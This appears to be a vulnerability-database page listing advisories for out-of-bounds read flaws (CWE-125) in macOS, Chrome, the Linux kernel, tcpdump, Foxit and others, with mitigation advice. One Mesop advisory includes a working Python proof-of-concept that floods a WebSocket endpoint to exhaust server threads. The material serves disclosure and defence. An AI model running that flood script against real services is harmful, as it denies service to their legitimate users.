CWE-125
AllowedOut-of-bounds Read
Abstraction: Base · Status: Draft
The product reads data past the end, or before the beginning, of the intended buffer.
11354 vulnerabilities reference this CWE, most recent first.
GHSA-3JJ8-9QPJ-6989
Vulnerability from github – Published: 2026-02-12 00:31 – Updated: 2026-02-13 21:31An out-of-bounds read issue was addressed with improved input validation. This issue is fixed in macOS Sequoia 15.7.4, macOS Tahoe 26.3, macOS Sonoma 14.8.4. An attacker may be able to cause unexpected system termination or read kernel memory.
{
"affected": [],
"aliases": [
"CVE-2026-20620"
],
"database_specific": {
"cwe_ids": [
"CWE-125"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-11T23:16:05Z",
"severity": "HIGH"
},
"details": "An out-of-bounds read issue was addressed with improved input validation. This issue is fixed in macOS Sequoia 15.7.4, macOS Tahoe 26.3, macOS Sonoma 14.8.4. An attacker may be able to cause unexpected system termination or read kernel memory.",
"id": "GHSA-3jj8-9qpj-6989",
"modified": "2026-02-13T21:31:35Z",
"published": "2026-02-12T00:31:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-20620"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/126348"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/126349"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/126350"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-3JM2-RCQ7-256M
Vulnerability from github – Published: 2026-07-01 00:34 – Updated: 2026-07-01 03:35Out of bounds read in Codecs in Google Chrome prior to 150.0.7871.47 allowed a remote attacker to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: Medium)
{
"affected": [],
"aliases": [
"CVE-2026-13906"
],
"database_specific": {
"cwe_ids": [
"CWE-125"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-30T23:17:04Z",
"severity": "MODERATE"
},
"details": "Out of bounds read in Codecs in Google Chrome prior to 150.0.7871.47 allowed a remote attacker to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: Medium)",
"id": "GHSA-3jm2-rcq7-256m",
"modified": "2026-07-01T03:35:21Z",
"published": "2026-07-01T00:34:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-13906"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2026/06/stable-channel-update-for-desktop_0175352312.html"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/504613867"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-3JM6-W42X-Q7XV
Vulnerability from github – Published: 2024-09-18 15:30 – Updated: 2024-09-18 15:30Out-of-bounds Read vulnerability in Open Networking Foundation (ONF) libfluid (libfluid_msg module). This vulnerability is associated with program routine fluid_msg::of13::MultipartReplyTable::unpack.
This issue affects libfluid: 0.1.0.
{
"affected": [],
"aliases": [
"CVE-2024-31195"
],
"database_specific": {
"cwe_ids": [
"CWE-125"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-09-18T14:15:19Z",
"severity": "MODERATE"
},
"details": "Out-of-bounds Read vulnerability in Open Networking Foundation (ONF) libfluid (libfluid_msg module). This vulnerability is associated with program routine fluid_msg::of13::MultipartReplyTable::unpack.\n\nThis issue affects libfluid: 0.1.0.",
"id": "GHSA-3jm6-w42x-q7xv",
"modified": "2024-09-18T15:30:52Z",
"published": "2024-09-18T15:30:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-31195"
},
{
"type": "WEB",
"url": "https://www.nozominetworks.com/labs/vulnerability-advisories-cve-2024-31195"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-3JQV-CVGQ-G32J
Vulnerability from github – Published: 2022-05-24 19:19 – Updated: 2022-05-24 19:19Out of bounds read in WebAudio in Google Chrome prior to 95.0.4638.54 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.
{
"affected": [],
"aliases": [
"CVE-2021-37992"
],
"database_specific": {
"cwe_ids": [
"CWE-125"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-11-02T22:15:00Z",
"severity": "HIGH"
},
"details": "Out of bounds read in WebAudio in Google Chrome prior to 95.0.4638.54 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.",
"id": "GHSA-3jqv-cvgq-g32j",
"modified": "2022-05-24T19:19:41Z",
"published": "2022-05-24T19:19:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-37992"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2021/10/stable-channel-update-for-desktop_19.html"
},
{
"type": "WEB",
"url": "https://crbug.com/1253746"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2022/dsa-5046"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-3JR7-6HQP-X679
Vulnerability from github – Published: 2026-04-03 21:54 – Updated: 2026-04-06 23:11Summary
An uncontrolled resource consumption vulnerability exists in the WebSocket implementation of the Mesop framework. An unauthenticated attacker can send a rapid succession of WebSocket messages, forcing the server to spawn an unbounded number of operating system threads. This leads to thread exhaustion and Out of Memory (OOM) errors, causing a complete Denial of Service (DoS) for any application built on the framework.
Details
The vulnerability stems from an architectural flaw in how incoming WebSocket messages are processed. In the mesop/server/server.py file, the handle_websocket function listens for incoming messages and immediately spawns a new threading.Thread for every successfully parsed ui_request.
There is no thread pool, message queue, or rate-limiting mechanism implemented to restrict the number of concurrent threads spawned per connection.
Vulnerable code snippet in mesop/server/server.py:
while True:
message = ws.receive()
if not message:
continue
# ... message parsing logic ...
# VULNERABILITY: Spawning a new thread for every single message without limits
thread = threading.Thread(
target=copy_current_request_context(ws_generate_data),
args=(ws, ui_request),
daemon=True,
)
thread.start()
PoC
To reproduce this vulnerability, you only need a running instance of a Mesop application and a basic Python script to flood the WebSocket endpoint.
Prerequisites:
Python environment with the websocket-client library installed (pip install websocket-client).
A target Mesop application running locally (e.g., http://localhost:8080).
Steps to reproduce:
Start the target Mesop application.
Save the following script as exploit_dos.py.
Run the script: python exploit_dos.py. Watch the server's resource monitor; memory and thread counts will spike rapidly until the process crashes.
import websocket
import base64
# Replace with the target Mesop application's WebSocket URL
TARGET_WS_URL = "ws://localhost:8080/__ui__"
# A minimal valid base64 payload to bypass `base64.urlsafe_b64decode`
# and Protobuf `ParseFromString` without throwing a parsing exception.
EMPTY_UI_REQUEST_B64 = base64.urlsafe_b64encode(b'').decode('utf-8')
def flood_server():
ws = websocket.WebSocket()
try:
ws.connect(TARGET_WS_URL)
print("[+] Connection established. Initiating thread exhaustion attack...")
# Rapidly send 50,000 messages to force the server to spawn 50,000 threads
for i in range(50000):
ws.send(EMPTY_UI_REQUEST_B64)
print("[+] Payloads sent. The server should be unresponsive or crashed by now.")
ws.close()
except Exception as e:
print(f"[-] Connection closed or server crashed: {e}")
if __name__ == "__main__":
flood_server()
Impact
Vulnerability Type: Denial of Service (DoS) / CWE-400: Uncontrolled Resource Consumption.
Impacted Parties: Any developer or organization deploying a Mesop-based application to a publicly accessible network.
Severity: High. An unauthenticated external attacker can completely crash the application within seconds using minimal bandwidth from a single machine, rendering the service unavailable to all legitimate users.
Mitigation (Recommended Fixes):
Use a bounded thread pool (e.g., ThreadPoolExecutor with max_workers) Introduce per-connection rate limiting Implement a message queue with backpressure Consider migrating to an async event loop model instead of spawning OS threads
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "mesop"
},
"ranges": [
{
"events": [
{
"introduced": "1.2.3"
},
{
"fixed": "1.2.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34824"
],
"database_specific": {
"cwe_ids": [
"CWE-125",
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-03T21:54:36Z",
"nvd_published_at": "2026-04-03T23:17:05Z",
"severity": "HIGH"
},
"details": "### Summary\nAn uncontrolled resource consumption vulnerability exists in the WebSocket implementation of the Mesop framework. An unauthenticated attacker can send a rapid succession of WebSocket messages, forcing the server to spawn an unbounded number of operating system threads. This leads to thread exhaustion and Out of Memory (OOM) errors, causing a complete Denial of Service (DoS) for any application built on the framework.\n\n### Details\nThe vulnerability stems from an architectural flaw in how incoming WebSocket messages are processed. In the `mesop/server/server.py` file, the `handle_websocket` function listens for incoming messages and immediately spawns a new `threading.Thread` for every successfully parsed `ui_request`.\n\nThere is no thread pool, message queue, or rate-limiting mechanism implemented to restrict the number of concurrent threads spawned per connection. \n\n*Vulnerable code snippet in `mesop/server/server.py`:*\n```python\nwhile True:\n message = ws.receive()\n if not message:\n continue\n # ... message parsing logic ...\n\n # VULNERABILITY: Spawning a new thread for every single message without limits\n thread = threading.Thread(\n target=copy_current_request_context(ws_generate_data),\n args=(ws, ui_request),\n daemon=True,\n )\n thread.start()\n```\n### PoC\nTo reproduce this vulnerability, you only need a running instance of a Mesop application and a basic Python script to flood the WebSocket endpoint.\n\nPrerequisites:\n\nPython environment with the `websocket-client library` installed (`pip install websocket-client`).\n\nA target Mesop application running locally (e.g., `http://localhost:8080`).\n\nSteps to reproduce:\n\nStart the target Mesop application.\n\nSave the following script as `exploit_dos.py`.\n\nRun the script: python `exploit_dos.py`. Watch the server\u0027s resource monitor; memory and thread counts will spike rapidly until the process crashes.\n\n```\nimport websocket\nimport base64\n\n# Replace with the target Mesop application\u0027s WebSocket URL\nTARGET_WS_URL = \"ws://localhost:8080/__ui__\"\n\n# A minimal valid base64 payload to bypass `base64.urlsafe_b64decode` \n# and Protobuf `ParseFromString` without throwing a parsing exception.\nEMPTY_UI_REQUEST_B64 = base64.urlsafe_b64encode(b\u0027\u0027).decode(\u0027utf-8\u0027)\n\ndef flood_server():\n ws = websocket.WebSocket()\n try:\n ws.connect(TARGET_WS_URL)\n print(\"[+] Connection established. Initiating thread exhaustion attack...\")\n \n # Rapidly send 50,000 messages to force the server to spawn 50,000 threads\n for i in range(50000):\n ws.send(EMPTY_UI_REQUEST_B64)\n \n print(\"[+] Payloads sent. The server should be unresponsive or crashed by now.\")\n ws.close()\n except Exception as e:\n print(f\"[-] Connection closed or server crashed: {e}\")\n\nif __name__ == \"__main__\":\n flood_server()\n```\n### Impact\nVulnerability Type: Denial of Service (DoS) / CWE-400: Uncontrolled Resource Consumption.\n\nImpacted Parties: Any developer or organization deploying a Mesop-based application to a publicly accessible network.\n\nSeverity: High. An unauthenticated external attacker can completely crash the application within seconds using minimal bandwidth from a single machine, rendering the service unavailable to all legitimate users.\n\n### Mitigation (Recommended Fixes):\n\nUse a bounded thread pool (e.g., ThreadPoolExecutor with max_workers)\nIntroduce per-connection rate limiting\nImplement a message queue with backpressure\nConsider migrating to an async event loop model instead of spawning OS threads",
"id": "GHSA-3jr7-6hqp-x679",
"modified": "2026-04-06T23:11:36Z",
"published": "2026-04-03T21:54:36Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mesop-dev/mesop/security/advisories/GHSA-3jr7-6hqp-x679"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34824"
},
{
"type": "WEB",
"url": "https://github.com/mesop-dev/mesop/commit/760a2079b5c609038c826d24dfbcf9b0be98d987"
},
{
"type": "PACKAGE",
"url": "https://github.com/mesop-dev/mesop"
},
{
"type": "WEB",
"url": "https://github.com/mesop-dev/mesop/releases/tag/v1.2.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Mesop: Unbounded Thread Creation in WebSocket Handler Leads to Denial of Service"
}
GHSA-3JWW-F8PJ-HJ29
Vulnerability from github – Published: 2025-03-11 18:32 – Updated: 2025-03-11 18:32Illustrator versions 29.2.1, 28.7.4 and earlier are affected by an out-of-bounds read vulnerability that could lead to disclosure of sensitive memory. An attacker could leverage this vulnerability to bypass mitigations such as ASLR. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
{
"affected": [],
"aliases": [
"CVE-2025-24448"
],
"database_specific": {
"cwe_ids": [
"CWE-125"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-11T18:15:31Z",
"severity": "MODERATE"
},
"details": "Illustrator versions 29.2.1, 28.7.4 and earlier are affected by an out-of-bounds read vulnerability that could lead to disclosure of sensitive memory. An attacker could leverage this vulnerability to bypass mitigations such as ASLR. Exploitation of this issue requires user interaction in that a victim must open a malicious file.",
"id": "GHSA-3jww-f8pj-hj29",
"modified": "2025-03-11T18:32:20Z",
"published": "2025-03-11T18:32:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24448"
},
{
"type": "WEB",
"url": "https://helpx.adobe.com/security/products/illustrator/apsb25-17.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-3JWX-4XP9-65PX
Vulnerability from github – Published: 2025-09-25 18:30 – Updated: 2025-09-25 18:30glib-networking's OpenSSL backend fails to properly check the return value of a call to BIO_write(), resulting in an out of bounds read.
{
"affected": [],
"aliases": [
"CVE-2025-60018"
],
"database_specific": {
"cwe_ids": [
"CWE-125"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-25T16:15:36Z",
"severity": "MODERATE"
},
"details": "glib-networking\u0027s OpenSSL backend fails to properly check the return value of a call to BIO_write(), resulting in an out of bounds read.",
"id": "GHSA-3jwx-4xp9-65px",
"modified": "2025-09-25T18:30:34Z",
"published": "2025-09-25T18:30:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-60018"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2025-60018"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2398135"
},
{
"type": "WEB",
"url": "https://gitlab.gnome.org/GNOME/glib-networking/-/issues/226"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-3JXR-5523-52VG
Vulnerability from github – Published: 2026-06-24 18:32 – Updated: 2026-06-28 09:31In the Linux kernel, the following vulnerability has been resolved:
smb/client: fix possible infinite loop and oob read in symlink_data()
On 32-bit architectures, the infinite loop is as follows:
len = p->ErrorDataLength == 0xfffffff8 u8 *next = p->ErrorContextData + len next == p
On 32-bit architectures, the out-of-bounds read is as follows:
len = p->ErrorDataLength == 0xfffffff0 u8 next = p->ErrorContextData + len next == (u8 )p - 8
{
"affected": [],
"aliases": [
"CVE-2026-52967"
],
"database_specific": {
"cwe_ids": [
"CWE-125"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-24T17:17:07Z",
"severity": "HIGH"
},
"details": "In the Linux kernel, the following vulnerability has been resolved:\n\nsmb/client: fix possible infinite loop and oob read in symlink_data()\n\nOn 32-bit architectures, the infinite loop is as follows:\n\n len = p-\u003eErrorDataLength == 0xfffffff8\n u8 *next = p-\u003eErrorContextData + len\n next == p\n\nOn 32-bit architectures, the out-of-bounds read is as follows:\n\n len = p-\u003eErrorDataLength == 0xfffffff0\n u8 *next = p-\u003eErrorContextData + len\n next == (u8 *)p - 8",
"id": "GHSA-3jxr-5523-52vg",
"modified": "2026-06-28T09:31:37Z",
"published": "2026-06-24T18:32:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-52967"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/1b9331b16b0ed9414dcf7583d8134bdfeb117aae"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/1cfa2d59f669db28d6292d10ff87ca6837c781b0"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/7d9a7f1f96cd617ee9e75bb22217c709038e26b8"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/97a05b0ae9ea5ec052be2eef0f9cc7ce03501bbb"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/b41598bf54b3fe528994e573df6008f8f4d0a4f4"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/cd4b9b662f0fb9aa97ee6bf9034eca76fc6cab23"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-3M2V-4569-GXQH
Vulnerability from github – Published: 2022-05-13 01:42 – Updated: 2022-05-13 01:42The NFS parser in tcpdump before 4.9.2 has a buffer over-read in print-nfs.c:interp_reply().
{
"affected": [],
"aliases": [
"CVE-2017-12898"
],
"database_specific": {
"cwe_ids": [
"CWE-125"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-09-14T06:29:00Z",
"severity": "CRITICAL"
},
"details": "The NFS parser in tcpdump before 4.9.2 has a buffer over-read in print-nfs.c:interp_reply().",
"id": "GHSA-3m2v-4569-gxqh",
"modified": "2022-05-13T01:42:47Z",
"published": "2022-05-13T01:42:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-12898"
},
{
"type": "WEB",
"url": "https://github.com/the-tcpdump-group/tcpdump/commit/19d25dd8781620cd41bf178a5e2e27fc1cf242d0"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHEA-2018:0705"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/201709-23"
},
{
"type": "WEB",
"url": "https://support.apple.com/HT208221"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2017/dsa-3971"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1039307"
},
{
"type": "WEB",
"url": "http://www.tcpdump.org/tcpdump-changes.txt"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-3M69-935C-W2HJ
Vulnerability from github – Published: 2022-05-24 17:45 – Updated: 2022-05-24 17:45This vulnerability allows remote attackers to execute arbitrary code on affected installations of Foxit PhantomPDF 10.1.0.37527. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the handling of U3D objects embedded in PDF files. The issue results from the lack of proper validation of user-supplied data, which can result in a memory corruption condition. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-12438.
{
"affected": [],
"aliases": [
"CVE-2021-27271"
],
"database_specific": {
"cwe_ids": [
"CWE-119",
"CWE-125",
"CWE-787"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-03-30T15:15:00Z",
"severity": "HIGH"
},
"details": "This vulnerability allows remote attackers to execute arbitrary code on affected installations of Foxit PhantomPDF 10.1.0.37527. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the handling of U3D objects embedded in PDF files. The issue results from the lack of proper validation of user-supplied data, which can result in a memory corruption condition. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-12438.",
"id": "GHSA-3m69-935c-w2hj",
"modified": "2022-05-24T17:45:53Z",
"published": "2022-05-24T17:45:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-27271"
},
{
"type": "WEB",
"url": "https://www.foxitsoftware.com/support/security-bulletins.php"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-21-353"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- To reduce the likelihood of introducing an out-of-bounds read, ensure that you validate and ensure correct calculations for any length argument, buffer size calculation, or offset. Be especially careful of relying on a sentinel (i.e. special character such as NUL) in untrusted inputs.
Mitigation
Strategy: Language Selection
Use a language that provides appropriate memory abstractions.
CAPEC-540: Overread Buffers
An adversary attacks a target by providing input that causes an application to read beyond the boundary of a defined buffer. This typically occurs when a value influencing where to start or stop reading is set to reflect positions outside of the valid memory location of the buffer. This type of attack may result in exposure of sensitive information, a system crash, or arbitrary code execution.